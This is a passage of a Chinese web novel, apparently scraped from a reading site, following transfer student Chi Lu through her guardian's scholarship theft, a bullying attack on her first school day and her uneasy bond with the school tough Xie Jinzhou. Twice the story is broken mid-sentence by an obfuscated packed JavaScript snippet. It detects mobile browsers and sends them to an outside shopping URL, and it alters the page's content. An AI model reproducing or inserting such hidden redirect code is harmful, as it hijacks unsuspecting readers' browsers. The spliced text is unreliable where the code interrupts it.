驰路的身体往外稍稍探了探,狐狸眼一眯:“像什么?” 谢劲舟磁沉的声音穿透黑夜:“等待主人回家的猫。” 月光落在树梢,也落在少年深邃的眼眸里,她好像从他眼里看到了无尽星河,还有年少轻狂。 她这只妖娆的猫掐灭烟回了屋。 谢劲舟的眸子里闪过晦暗不明的笑意。 * 睡前,驰路刚想走到床边,看到谢劲舟的衣橱没关好,好像被衣服卡住了,右边的那扇门留着一道缝。 她打开衣橱,卡在门缝中的裤子掉了下来,她捡起来叠好,刚想放进去,看到最下面放着什么,不像衣服。 驰路抽出来一看,是一个蓝色线圈笔记本。 为什么他会把笔记本放在衣橱里?难道这是他压箱底的宝贝? 她知道随意翻人东西不对,但好奇心作祟,她大着胆子直接翻开了笔记本。 第一页写着:世界是一座地狱,而我是戴着镣铐的囚犯,谁能帮我解开镣铐? 驰路的心骤然一沉,这是他写的? 他的字很好看,苍劲有力,潇洒自如。 每个字都写得那么用力,似乎能力透纸背。 她继续翻,第二页写着: 《去看看太阳》 风沙呼啸着响 落日升了又降 月光照耀谁的脸庞 谁又赢了万丈星光 哪片烟火乍亮 哪朵白云游荡 星辰照出谁的陈伤 野风吹散谁的惆怅 黑夜总在重翻旧账 好想抖落一身迷障 看看尘埃如何飞翔 走过的路是否发光 你要穿越光阴、穿越风沙 穿越命运的高墙 看候鸟南迁 看大雁北往 你要冲破枷锁、冲破牢笼 冲破生命的荒唐 去看看太阳 去有你的远方 谁在听你呼唤 谁在听你呐喊 谁能陪你越过山丘 去山的尽头,看命运有没有滚烫 有人走得踉跄 鬓边染了风霜 日光打翻谁的梦想 落樱击碎谁的想象 总要冒雨流浪 总要玩命生长 谁都别想将我阻挡 你要去有光的地方 地狱暗暗掀起风沙 擅自要把伤口留下 有谁能将它们融化 分你一半欢喜神话 你要穿越光阴、穿越风沙 穿越命运的高墙 看候鸟南迁 看大雁北往 你要冲破枷锁、冲破牢笼 冲破生命的荒唐 去看看太阳 去有你的远方 你要迎接巨浪 你要保留锋芒 你要做自己的光 哪怕风浪再大,也要挺直胸膛 整整写了两页。 这是他写的歌词?字里行间透出无形的向上力量。 每个字都像鼓点般,狠狠地敲在她的心上。 驰路去网上搜了下,没找到这首歌,难道是他原创的? 她又往后一页一页地翻,一共写了16页,整整八首歌。 他还有这个特长?帮人写词? 她还想看看后面的词,却听到响起敲门声,吓了一跳,连忙将笔记本又放回原位。 驰路去开门,门外站着的是谢劲舟,他刚洗完澡,没穿上衣,肩上搭着一条蓝色毛巾,发梢上正滴着水,落在他遍布伤痕的胸膛上。 “拿衣服?” “嗯。”谢劲舟走进来,一股凉意顿时袭来,吹散他身上的热意。 “能不能多拿几件过去?”驰路真不想他天天来她房间窜门。 谢劲舟边走边擦头发,听到这儿,顿时停住,冷着脸看驰路,满脸写着“老子拿衣服还用你管”的不满表情。 驰路壮着胆子,试探性地问:“你真不打算在小乔的房间放个简易衣橱?” 谢劲舟眸光犀利地看她:“老子喜欢用自己的衣橱!” 驰路朝他翻了个白眼,天天来拿,真不嫌麻烦的! 他拉开衣橱,找出几件衣服。 等他走后,驰路还想去看看另外几首歌,结果没找到,难道被他拿走了? 睡意来袭,驰路关了大灯,留了一盏小台灯,《去看看太阳》的歌词一遍遍在她脑中闪现。 她记忆力好,基本都记下来了,轻声哼唱着,唱着唱着,渐入梦乡。 梦里有她山峦般起伏的青春,黑暗的、坠落的、炙热的、耀眼的,全都混成一团。 有遥远的蓝城,有其乐融融的一家四口,也有被人打骂时的羞辱、被亲人抛弃的心碎。 还有,那个在暗巷里的少年。 他浑蛋,可他却像射向无尽深渊里的一束光亮。 他好像不是什么灾难源,他是她的救世主。 他打开了她的深渊之门,在里面种着太阳。 13. 开学出事了 「覆盖人生的雪有多重,我还不能完全感知到。 但在来芳町镇的这些天,发现人的自私和恶意,也可以如此汹涌。」 ——《小蝴蝶的暗夜》 天没亮,驰路便醒了,她口干舌燥,杯子里的水也喝完了,开了门想下去倒杯水。 下楼梯时听到了楼下的争吵声,她放慢了脚步,走到楼梯间停下。 “谢鸿运,我跟你说,下次你别问驰路要一分钱!”压低的声音,却带着股狠劲儿。 “为……什么……不可以?老子……凭……什么……要听你的?”谢鸿运咬字有些不太清楚,大着舌头说。 “你已经收了芳町三中给驰路的奖学金一万块,一学期补助金五千,一共一万五,一年的伙食费够了吧!” 驰路算是听明白了,为什么谢劲舟非要把三千块钱还给她。 转学的事,都是她妈安排的,这么听来,准确来说,应该是她妈让谢鸿运安排的,谢鸿运私吞了一些她们不知道的钱。 “我问她……要钱,你别……管老子!” “谢鸿运,如果不是你收了芳町三中的奖学金,驰路应该上芳町一中的,你这是在毁人前途!” 驰路听得浑身一怔,夏日的热气似乎瞬间冻住,将她拖入冰窟。 她不是没见过两面三刀的人,不是没感受过人间冷暖,但这事儿摊在她身上时,还是让她又惊又怒。 她什么都没有了,什么也都抓不住了,却还有人借着她牟利,完全不考虑她的未来。 不过,谢鸿运跟她素未谋面,凭什么要考虑她的未来? 驰路想要往上走,腿却像灌了铅般,重得她有些抬不上脚,楼下的人还在争论着什么,她已经完全听不清了,耳朵里嗡嗡嗡地响,脑袋疼得厉害。 她又重新躺回床上,睁着眼,没再睡着。 她想了很多,关于学校,关于未来。 如果她还了芳町三中的奖学金、助学金,再办转校证明,是不是就可以转去芳町一中? * 转学的事儿驰路很快着手去办,提前悄悄地问罗子昂要了班主任老马的电话,给他打过去。 接电话的是个男人,声音哑哑的,听起来像没睡醒:“喂,你是谁呀?” 驰路将事情的来龙去脉跟班主任老马说了下,老马停了一会儿才说:“驰路,这事儿不好办,相关手续都走完了,再转校是不可以的。” “我把奖学金、助学金退给学校,学校不能给我开转出证明吗?” “驰路,你就别想转学的事了。你刚来这里,可能还不清楚,我们芳町镇就三所中学,师资力量、教学水平都差不多。好学生是金子,到哪儿都能发光。你成绩那么好,更不应该在乎在哪所学校了,是不是?” 驰路沉默了,老马说得不是没有道理,她之前待的学校都是数一数二的,但她常常垫底。成绩好不好跟学校有一定关系,但更重要的是个人的学习自驱力。 这道理她懂,但如果有更好的选择,她为什么不去选择更好的学校,毕竟在好学校,学习氛围是不一样的。 老马不愿意让她转,她也没辙。 驰路挂了电话,问罗子昂要芳町三中校长的电话,结果罗子昂不解了:“驰妹,你还没去学校,找校长做什么啊?” “这个你别管,把校长电话给我就行。” “我哪里有校长的电话。” 罗子昂挂了电话,左想右想不对劲,给谢劲舟拨语音通话,跟他说了驰路的奇怪举动。 谢劲舟在网吧里做兼职,听到后说:“她爱怎么折腾就怎么折腾。” “舟爷,有人要充值。”“舟爷,有人要下机。”“舟爷,你今天状态怎么有些不对。” 谢劲舟烦躁地给人办下机,走进来一个染着非主流发型的女生走过来,走到他身旁,见到他冷着一张脸,尖着嗓子说:“谁惹我们舟哥不开心了啊,要不要我带你出去玩玩?” 谢劲舟看都不看她一眼,狠狠抛出一个字:“滚!” * 时间倏忽而过,一晃已过半个月,滑到七月最后一天。 高三提前一个月开学,开学前,驰路把谢劲舟的暑假作业都做完了,罗子昂知道后,马不停蹄地来这儿奋笔疾书地抄抄抄。 谢劲舟平时这个点都不在家,今天难得在驰路房间,拿着手机在那儿刷着什么。 驰路让出了书桌椅子,靠在床头跟安然聊天。 安然问她跟谢劲舟相处得怎么样,经过上次的教训,她这次提前跟安然说不要发语音,要打字。 驰路能跟她说什么呢,说谢劲舟这人变脸跟川剧变脸似的?还是说,你永远不知道哪句话会碰触到他的逆鳞? 这些她都没说,只简单地说“挺好”。 【安安】:阿驰,你知道江迟也要转去你学校吗? 驰路大为震惊,给她发过去一个黑人问号脸的表情包。 【安安】:真的,那么远,你想想他为什么要转去那个小地方。 【燕尾蝶】:我怎么知道。 【安安】:阿驰,你就别装了,你又不是不知道,他从高一就喜欢你了,还不是为了你转学。 喜欢她的男生是多,但江迟属于最独特的那个。 其他的,不是跟她后面的小弟,就是社会上的混混。 浑蛋跟渣女,天生绝配。 可偏偏江迟是老师口中的优等生,女生们眼中的天之骄子,每次成绩都是年级第一,一张清秀白面书生样。 她实在不明白,为什么他会喜欢她这样的女生。 他为了她转学?想想都可笑,想想都觉得不可思议。 他要转到芳町三中? 驰路前几天几番辗转找到了芳町三中校长的联系方式,说明来意,结果校长也不放人。 她挂了电话,算是明白了,哪个学校都想要升学率,而她的期末考分数又离奇的高,谁会放走这样的优等生? 她不得不向现实妥协,安慰自己,在哪所学校都一样。 【安安】:阿驰,遇到为你转学的男神,就从了他吧。 驰路正打算给安然回复,发现不对,眼前的光被人挡住了,她一抬头,看到冷着脸的谢劲舟。 她连忙把手机反过来:“你看多久了?” 谢劲舟嗤笑:“没想到还有人为你这样的人转学。” 你瞧不起谁呢! 驰路扬起下巴,眉眼间露出傲气:“追我的人一抓一大把。” 一旁抄作业的罗子昂转头插话:“驰妹,介不介意我排队?” “罗刺猬!”谢劲舟看向罗子昂,眸子冷得不像话。 罗子昂无奈地摇摇头,边抄作业边想,自从驰路来到谢劲舟家,他像变了个人,越发喜怒无常,真乃天下第一奇迹啊! 驰路打了个哈欠,看向罗子昂:“罗刺猬,你不会晚上都用来抄作业吧?” 罗子昂抄累了,放下笔,伸了个懒腰:“抄个数学、英语就行,这两门的老师都是灭绝级的。” “灭绝级的啊。”驰路勾着狐狸眼看向谢劲舟,“你舟爷岂不是活不过明天。” “……”罗子昂傻了。 他们关系亲密到什么程度,驰路竟然敢跟他舟爷这样说话,是不想活了吧。 果然,谢劲舟走到桌前,拿了空调遥控器,关掉,拉着罗子昂走了。 “谢劲舟,”驰路喊他,“把遥控器给我!谢劲舟!” 谢劲舟仿佛没听见,关上门走了。 这浑蛋,是要断她凉路啊! …… 睡前,驰路去找谢劲舟,结果他没在,吵醒了睡着的谢林乔。 这段时间,她跟谢林乔的关系依然不冷不热,她不会上赶着去讨好她,爱咋地咋地。 驰路说明来意:“我来找下空调遥控器。” 谢林乔对她吵醒自己的行为显得很不满,小脸皱起:“我哥说了,你房间老开空调、老开灯,这个月的电费都多交了。” “……” 遥控器没找到,倒是被人嫌弃开空调、开灯浪费电费了,当晚,她想给谢劲舟转个百元红包,结果提醒她余额不足。 驰路用钱大手大脚惯了,根本没去想余额这事,一查余额,仅剩28.9元。 她惊得怔住,她还从来没有因为钱而难堪过。 这下好了,刚想给谢劲舟发的红包是没法发了,讪讪地回了房。 平时买东西刷的都是老妈给她的一张信用卡,卡的额度,一月三万,这月的额度不仅提前用光,还把她余额里的钱用得差不多。 她给老妈发过去一条微信:妈,能给我打下下个月的生活费吗? 一直到第二天,都没收到老妈的回信。 问老爸要钱? 还是算了,他都自顾不暇,能照顾好弟弟就不错了。 * 翌日开学,驰路便出事了。 七点半是高三开学的级会,她没能赶上,还成功地被当做了负面教材。 这事要从她去学校的路上说起。 前几天罗子昂带她去学校探过路,但她方向感不好,迷了路。 拐了好几个巷子,拐到一个寂静小巷,刚想再去找路,却听到巷子里传来不友善的声音:“把钱交出来,你听到了吗?再不交出来,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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驰路之前没少爬过围墙,她找了几块砖头垫着,踩上去,往上一跃,双手攀住围墙,轻松地爬到墙头,刚想往下跳,背后传来一股强大的推力,推得她直接从围墙上摔了下去。 她整个人脸朝下摔下去,压弯了一堆花花草草,听到许婉的惊呼声,也听到了围墙外面的笑声和嘲讽声:“你不是爱见义勇为吗,让你见义勇为!” 驰路听出来声音,耳熟。 这不是在巷子里堵许婉抢钱的混混女生吗,这人的报复心还真强! 她很想从地上立马爬起来,爬到围墙外,踢翻这个混混女,结果,她双手在草地上划过两道痕迹,腰伤了,一时间根本爬不起来。 回神的许婉想要去扶驰路:“驰路,你还能起来吗?” 驰路朝她摆摆手,忍着痛说:“让我缓缓。” 缓的时候,外面的混混女还没放过她,爬上墙,用树枝抽打她的背:“老娘让你管!” 驰路转头看,看到了打她的女生染着紫色头发,满脸都是胜利者的挑衅和得意嘴脸。 她恨透了这样的嘴脸,极为厌恶地瞪着她。 许婉不敢上前去抓树枝,面露怯意地说:“别打了!” “你让我别打就别打吗!”混混女手里的树枝还想继续抽下去,忽然被人一把抓住,拽下墙头。 混混女滚落在地,后背压在锐利的石头上。 面前是黑发男生,旁边站着雾霾蓝头发的男生,她认识,他是称霸芳町三中的校霸谢劲舟,这一片,人人都认识他。 混混女吓得慌乱地从地上爬起来:“舟哥,我错了,饶了我吧。” “舟哥,你也配叫!”谢劲舟狠戾地斜睨她一眼。 “想饶了你,也不是不可以。”黑发男生说,“你应该知道该怎么做吧。” 混混女抬手朝自己的脸上挥去,打了一下又一下,看都不敢看谢劲舟。 她怎么都没想到,自己惹了谢劲舟的人。 “可以了,舟哥。”墙头响起了金属烟嗓。 谢劲舟抬手,做出停止的动作,混混女才敢收手。 谢劲舟一抬头,看到坐在墙头的驰路,她的马尾辫乱了、脏了,脸上也沾着灰尘,像只狼狈又可怜的小猫。 谢劲舟看了眼混混女,目光充满戾气,声音冷得吓人:“你敢惹老子的人,是不想活了!” 清晨的日光洒在少年身上,他身上的那股狠戾,似乎消散了些。 他被暖阳照着,宛若神明。 是她一个人的神明。 14. 当众检讨演讲 「什么时刻心里像燃烧着一枚太阳? 你撞进我怀里的那一刻。」 ——《孤舟难行》 围墙外还站着想掺和但没掺和上的罗子昂,他全程看完,朝另两个身体颤抖的女生说:“还不快把人带走!” 其中一个女生大着胆子搀扶起跪在地上的混混女,搀扶着她离开。 坐在墙头的驰路转过身,想要跳下去,听到身后传来低沉的声音:“先别跳。” 须臾,墙头跳上来一个人,坐在她身旁,看了她一眼,随即轻松跳下,站在墙下,伸手,做出接她的姿势。 从驰路的角度看,此时的谢劲舟像极了要保护女朋友,她不禁勾唇一笑。 “笑什么?”谢劲舟有些不耐,“你再不下来,我就要走了!” “来了。”驰路看着他,“接好。” 她朝谢劲舟跳去,现实却不是在演偶像剧,她并没有稳稳地落在他怀里,而是重重地撞进他怀里,撞得让他连连后退几步。 咚咚咚,她听到了心跳声,强劲的,有力的,震动着她的耳膜。 分不清,是他的,还是自己的。 最终被他搂住双肩,紧紧捏住,捏得她有些痛。 “可以松开了吧。”驰路侧头看向他捏自己肩膀的手,“疼。” 谢劲舟甩开手,转过身就往前走,压根儿不再管她,跟方才的他判若两人。 驰路跟在他后面走,膝盖、脚踝都传来疼意。 她皱了皱眉,一瘸一拐地往前走。 许婉发现了不对劲:“驰路,你的腿受伤了吧。” “没事,还能走。” 罗子昂上前问:“驰妹,要不去医务室?” “你们认识?” 罗子昂发现叫漏嘴了,连忙说:“不认识。” 昨晚,谢劲舟跟他交代,在学校里就当不认识驰路。 不对啊,装不认识的话,刚谢劲舟还说“老子的人”,这不自爆身份了! 就在他为自家老大感到着急时,听到谢劲舟主动跟许婉说:“许婉,她是谁?” 这下换许婉惊讶了,他刚不是说宣誓主权说驰路是“老子的人”,怎么就不认识了? 许婉介绍:“转校生,驰路,我们班的。” “哦。”谢劲舟神色冷漠,目光只在许婉身上停留了一秒,很快移到驰路的腿上。 罗子昂小眼一瞥,当下便了然老大的心思,凑到驰路身前说:“驰路,要不要去下医务室?” “不用。”驰路说,“今天不是有年级大会吗,赶紧走吧,快迟到了。” 罗子昂说:“你现在去,也赶不上了啊。” 许婉也劝驰路去医务室看看,她也想去啊,但兜里没钱,连药都买不起,去个屁! 驰路忍痛往前跳着:“赶不上也没事,毕竟开学第一天,老师传达什么样的精神,总要知道。” 谢劲舟看着她像只瘸腿的兔子,眉头不禁蹙起。 罗子昂看到谢劲舟往另一个方向走,喊他:“舟爷,你去哪儿啊?这儿才是去操场的路。” 谢劲舟双手插兜,迈着大步走了,罗子昂追了过去。 许婉挽着驰路的胳膊,扶着她往前走:“驰路,你真不认识他们吗?” 驰路不知道谢劲舟存的什么心,在学校里要把自己当陌生人,既然他想这么做,她也就配合:“我第一天来学校,怎么可能认识他们。” “也是,听老师说要转过来的是优等生,你这个优等生怎么会跟他们在一起。” “他们怎么了?” 许婉跟她普及:“蓝头发的男生,是我们学校的头号校霸,打起人来不要命,听说他连自己的爸都打,还打瘸了一条腿。抽烟喝酒打架混社会,没有一样他不干的。白色刺猬头是罗子昂,黑头发的是秦深,都跟着他混,三人成绩都垫底,属于已经被老师放弃的学生。” 被老师放弃的学生。 多么熟悉的词,曾经的她就是别人口中“被老师放弃的学生”。 “驰路,我跟你说,你千万别跟他们搭上关系。” “为什么?” “跟混混在一起,能好吗?”许婉说,“我们上学是为了好好学习,考上大学,而不是跟这些人混在一起,跟他们混在一起,没好处的。” “嗯。”驰路敷衍地应着。 * 走往操场的那条路其实不太远,但对受伤的驰路来说,仿佛走了很久。 两人走到操场时,看到操场上已经坐满了学生,讲台上的老师正在慷慨激昂地讲话。 她们弯着腰,本来想偷偷地找个空位坐下,结果,不巧了,讲话的是教导主任,正在强调校风校规,远远地就看到了两个迟到的女生。 教导主任拿起话筒,站了起来,指着驰路两人,严厉道:“那两个迟到的,来说下迟到心得。” “……”驰路、许婉双双愣住。 驰路内心叫嚣着想骂人,许婉一脸欲哭无泪状。 台下的学生都一脸看好戏的表情,看到两个女生站在讲台上,马尾辫的女生看上去丝毫不怯场,镇定地望着前方,公主头的女生垂着脑袋,恨不得钻地底下。 教导主任把话筒给了不怯场的女生,只见不怯场的女生像获奖似的,接过话筒,扬起下巴,望着讲台下的学生说:“各位同学、各位老师,我是高三七班的驰路,高三学生应该要有高度自觉,早睡早起,好好学习,做一个自律、有用的人,对自己负责,对父母有交代,对国家有贡献。披星戴月不是为了让我们嬉笑打闹,也不是让我们捧着《五年高考三年模拟》假装努力。高三就一年,就一个春夏秋冬,过了就没了。我们要抓住这一年的时间,拥抱太阳,也迎接风雨。不风花雪月,不虚度时光,要征服语数外,要与日月争光辉,要去更高更远的山巅。纵有狂风拔地起,我亦乘风破万里!”【注】 一段话说得热血澎湃,哪里像做检讨的,像在说演讲词,台下掌心雷动,台上的教导主任气得立马从她手里拿过话筒,直奔主题:“说说看,你为什么迟到,为什么没穿校服?” “来学校的路上,看到这位学生被其他校的学生欺负,帮了她。”驰路平静道,“至于校服,我转校生,还没领校服。” 教导主任去问许婉:“是吗?” 许婉连连点头。 教导主任本想抓个负面教材,结果未能如愿,沉着脸说:“你们下去!” 等驰路、许婉归位后,班里的不少同学都对这个新来的转校生刮目相看,当然也有嫉妒她的,嫉妒她的美貌、她的落落大方。 “有什么了不起的,不就是长得好看点吗,不就是会说几句好话吗,有哪个男生会喜欢一个瘸子。” “你看她那双眼睛,傲得不行,以为自己是大城市里来的,就在台上装有文化?装/逼有一套。” “大城市来的又怎么了,还不照样来到我们这儿了,还到了我们镇上最差的一所高中,嘚瑟什么。” “你看她那一身的穷酸样,像大城市来的吗?一身的衣服加起来都不超过三百块钱。” …… 一句句低声交谈冲进驰路的耳朵,许婉见她面不改色地听着,小声跟她说:“驰路,她们是嫉妒你。” “无所谓。”这些话对驰路根本起不到任何杀伤力,她遭受过的可比这个严重多了,听多了,也就听麻了。 她之前的衣服、鞋子都是名牌,动辄都要四位数。为了开学,她特意去平价专卖店买了几身衣服。 今天的一身极为普通,白色印花T恤、牛仔裤、帆布鞋,马尾辫,跟其他女生的穿着没什么区别,看起来像极了一个乖乖女。 即使如此,在人群中,她还是那么闪耀,不管是白皙的皮肤、高挑的身材,还是浑身透出的强大气场,都跟这里的女生不一样。 驰路听着老师们全方位地讲“高三的重要性”“高三要怎样投入地学习”“高考意味着什么”。 重要性、如何投入学习,她不听都知道,但高考意味着什么。 台上的老师说:“高考是一次要拼劲全力的奔跑,你要铆足劲儿跑向终点,不管是能跑第一名、第十名,还是第一百名,你一定要比之前的你,跑得快、跑得远。为什么?因为你要奔跑的远方是你的未来,未来怎么样,就看你高考考得好不好。” 彼时,未来对驰路还很远,她还没有想太遥远的事。 她并不知道,其实,高考只是人生的一个起点,往后岁月,有无数的未知、考验在等着她。 但她明白,高考是分水岭,她要竭尽全力奔跑,在语数外的战场上厮杀,在一次次考场上征战。 前排的同学听得还比较认真,也许是不敢讲话,后面属于聊天热闹区。 驰路扫视了一眼后排,没看到谢劲舟、罗子昂、秦深。 他们是知道来了要被安排上台受罚,所以,干脆不来了? 直到讲话结束,他们都没来。 * 回到教室,各找各的座位,驰路在倒数第二排找了个空座坐了下来,不一会儿,坐过来一个女生。 她想跟她打招呼,结果人家根本没搭理她,直接找前桌聊天。 她来也不是交友的,不搭理就不搭理吧。 驰路拿出数学练习册,拿出笔,手心传来隐痛,低头一看,手掌处破了皮、冒了血,血干涸了,混着泥土,粘在上面。 膝盖处,弯着就疼,她撩开裤腿,看到了膝盖上也破了皮,有红色血痕,另一只膝盖也是。 脚踝上的伤看不见,但走一步都疼。 她想去卫生间冲洗下手心,听到有人叫她:“驰路。” 她转头去看,看到了熟面孔——江迟。 隔着过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560731|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,他坐在她的左手边。 江迟朝她露出一抹温柔的笑:“还记得我吗?” 驰路也笑:“大名鼎鼎的江迟同学,怎么会不记得。” 江迟朝她伸手:“未来一年,多多关照。” “江迟,互相关照。”驰路毫不忸怩,直接握住,很快又松开,但她明显感觉到了他的留恋,修长手指划过她手心时是那么缓慢。 那时的驰路,并不知道,要多喜欢一个人,才会为爱转学。 后来,她才明白,为一个人转学,需要很多很多的勇气和很多很多的喜欢。 江迟关心地问:“你的膝盖怎么受伤了?” “不小心摔的。” “早上的演讲很棒。” “谢谢。” 一切交谈止于表面,他们之前本来就没过多的交集。 驰路正想站起来,却听到有人在拍桌子:“说话的就别说话了,抄作业的也别抄作业了,等会儿数学课代表收下数学暑假作业。有两个转校生来到我们班了,成绩都很不错,让他们来做下自我介绍。” 江迟先上去的,收获了一众女生扫过去的星星眼。 他长得温文尔雅,个子又高,说话间神色温柔:“大家好,我叫江迟,春日迟迟的迟,很高兴能加入到高三七班。” 言简意赅地介绍完,台下响起了掌声,尤其是女生掌声热烈。 等到驰路上台时,她走得很慢,忍痛一瘸一拐地往前走,听到了身边好奇的、不友善的声音。 她就当没听见,站到讲台上,双手撑着台面,落落大方地望着台下的学生,眼睛里透着坚毅。 她光站着,浑身就透出一种由内而发的倨傲气质,那双好看的狐狸眼一挑,妩媚横生。 刚想开口,从教室后门走进一个学生。 驰路望去,是谢劲舟,他坐在了后面最外排靠门的位置,一坐下来,便翘起了二郎腿,掀起薄薄的眼皮,朝她的方向一瞥,但很快又挪开视线,痞里痞气地坐着。 老马望向谢劲舟,提高声音说:“谢劲舟,都说多少回了,下次早点来。” 谢劲舟头也没抬:“今天还不够早吗?” 声音很沉,在寂静的教室里,像落了块冰。 老马全名马志勇,学生私底下都叫他“马三拍”,这人的反应速度,总比别人慢三拍。 谢劲舟的一句话,让老马一时不知道怎么回,半晌,来了句“早起的鸟儿有虫吃”。 结果罗子昂同学特别给面儿地接了话:“晚起的人儿可真帅,横批,彼此彼此。” 全班哄堂大笑。 “安静!”老马敲着下桌子,让驰路继续。 等笑声停止了,驰路才说:“大家应该都认识我了吧,今天迟到的、没穿校服的、被教导主任点名讲话的人就是我,驰路。接下来的日子,一起努力,一起考清华北大!” 教室里一片寂静,唯有能听到窗外聒噪的蝉鸣,还有一声冷笑,这冷笑声很低,来自最后一排。 驰路看到了笑的人,是谢劲舟。 他看着她,像看着一个傻/逼。 接着,笑声一片,笑趴了不少娱乐休闲区、养老区的学生。 “笑什么笑!”老马又拍了下桌子,“我不指望你们一个个都能考清华北大,能考本科就行。不到一年,你们就要参加高考了,别搞得高考跟你们没关系一样,考好了,你们上了大学,以后好找工作,考不上大学就回来搬砖。” “搬砖工人最光荣。”罗子昂作为垫底尖子生,铆足了劲儿使劲造。 老马拿了根粉笔,朝罗子昂扔去:“罗子昂,你是嫌检讨写得不够多?” 罗子昂一躲:“马三……马老师,我要努力奋斗,清华北大的门正为我敞开!” 真是吹牛皮不打草稿,引得满堂哄笑。 老马懒得教育罗子昂,跟旁边的两个优等生说:“你们就先坐那儿。”又看向学生们,“座位先这样,本周五有开学摸底考,等考完再重新安排座位。” * 课前,驰路去卫生间,用凉水冲洗手上的伤口,听到有女生在议论,声音耳熟。 “你知道谢劲舟跟余夏分了吗?” “这么快就分了啊,好像才谈了一个月吧。” “跟他在一起的女朋友,没有能撑过一个月的,你这是什么表情,不会是想挑战?” “可以试试啊。” 驰路听到最后一句时,才去看那两个女生,矮个女生脸上是不可思议的表情:“你不会是在开玩笑吧。” 高个女生说:“我像在开玩笑吗?” 驰路勾唇,露出一抹笑意。 正好被高个女生看到,以为在笑她,怒瞪她:“笑什么笑!别以为你是城里来的就了不起啊。瘸子!” 驰路脸上的笑意顿时消失,阴沉着脸,双手握拳。 15. 为小蝴蝶转学 「总希望好时光属于我,坏运气统统远离。 不过,跨过星河,发现也有人跟我一样,一样地在世界某个角落,痛苦着。」 ——《小蝴蝶的暗夜》 驰路认出来了,这两人就是嫉妒她、说她坏话的人。 新学校,新起点,她要做一个乖乖女,忍!忍!忍! 驰路拼命地把心里的怒火压制下去,一瘸一拐地往外走,听到高个女生还在说:“瘸子走起路来丑死了!” 她转过身,想冲进去做点什么,许婉来了:“驰路,我扶你回去。” 人生路上,总有射过来的刀剑,但也有照进来的温暖。 这温暖不只是许婉给的,还有不知哪个好心人在她桌上放的课本、校服。 她把校服收了起来,装进双肩包里,又整理课本,发现桌上还有塑料袋,里面装着消毒水、棉签和创口贴,塑料袋旁边有一罐冰镇气泡水,白桃味的。 她问同桌谁给的,同桌像没听到似的,根本不搭理她。 同桌前面坐着高个女生,估计都对她心怀敌意。 驰路朝一旁的江迟看去。 他指了指她桌上的东西:“给你的。” 原来是江迟给的,这就是传说中的中央空调,帮你去领课本、校服,在你受伤时及时送药,还附送夏日冷饮。 上课铃声响了,她没来得及贴创口贴,把塑料袋放进了桌肚。 多亏她提前做了预习,英语课上老师讲的句式、题型都会,提问时,她也会主动举手回答。 她要多在老师们面前露脸,争取早点让每门功课的老师知道,转学生是值得培养的。 这儿的上课纪律,跟自己之前待的学校相比,要差很多。 除了学霸区的同学凝神认真听讲,娱乐休闲区的在偷偷吃零食、喝饮料、讲话,养老区的,干脆在桌面上摞起高高的一堆书,当挡箭牌,趴在桌上呼呼大睡。 她在倒数第二排,谢劲舟在倒数第一排,她的余光能扫到他,他也趴在桌上睡觉,一头雾霾蓝的头发在阳光上泛着光,格外耀眼。 她的手机振动了下,本来不想去看,又振动了两下,难道是老妈给她打的款? 驰路低头偷偷去看手机,哪里是老妈打的款,是罗子昂给她发的微信。 【宇宙无敌超级帅崽罗】:驰妹,看到创口贴了吧。 【宇宙无敌超级帅崽罗】:舟爷让我给你买的。 【宇宙无敌超级帅崽罗】:你就当不知道是舟爷买的,他不让我说,他是活雷锋,做好事不留名。 罗子昂是谢劲舟的同桌,驰路往后方一瞥,便看到他正朝自己笑,驰路想跟他比个手势,想想算了,不是当不认识吗。 驰路给罗子昂发了条微信:谢了。 * 课后,驰路拎着塑料袋来到顶楼,迈上几步要去天台,刚迈出去,看到天台上的女生正抬起一条腿,像蛇一样盘在男生腿上,手也没闲着,摸着男生的胸膛。 女生背朝她,没穿校服,穿着紧身牛仔裤,贴身T恤,身材凹凸有致,用黏腻的妖娆声音说:“舟哥,要不要我做你的女朋友?我会很乖的,不会像别人缠着你。” 舟哥?谢劲舟? 驰路细细一看,那一头雾霾蓝的头发,右侧短茬上剃出一个张扬的“X”,脖颈处有一串狂野的字母文身,侧脸冷峻分明,可不就是谢劲舟。 女生水蛇腰一扭,紧紧地贴着谢劲舟,作势就要吻他。 谢劲舟一抬头,她没能吻上。 驰路撞进了他深深的眼眸里。 谢劲舟毫不留情地撤开女生的腿:“你个子没有一米七,不在我考虑的范围。”他的目光一直看着驰路。 女生松开谢劲舟,梨花带雨地走了。 驰路这才走上来,天台上有些陈旧,地上有一些碎纸屑、烟灰。 她绕开,走到谢劲舟身前,笑:“舟哥就是有魅力啊,女生前仆后继地上啊。” “你打算怎么关照他?”谢劲舟拿出一根烟点上。 “什么?”驰路一开始没听明白,蹙了蹙眉,随后想到了什么,“你说江迟?” 谢劲舟没回,吐了个烟圈后看她。 驰路找了个地方靠着坐下来,打开塑料袋,边给手上的伤口消毒边说:“你希望有什么样的关照?” 谢劲舟冷眸一眯:“我说什么,你就做什么?” “也不是。”驰路贴上创口贴,“我想怎么关照就怎么关照。” 她轻轻地撩起裤腿,给膝盖上的破皮消毒,疼得皱起眉头。 “活该!” 驰路的手一顿,看向谢劲舟,他像个冷血动物一样看着她。 她很怀疑,罗子昂说的“创口贴是舟爷让他买的”。 谢劲舟看到她脚踝上的青紫,磨牙道:“驰路,你下次能不能别逞能!你当老子永远是你的救世主?” 驰路放下裤子,熟练地从他手里夺过烟,抽了一口才给他。 谢劲舟没接,用力扔到地上,狠狠撵灭,一把将驰路拽起来,像拎着一只小鸡似的,把她的衣领都弄变形了。 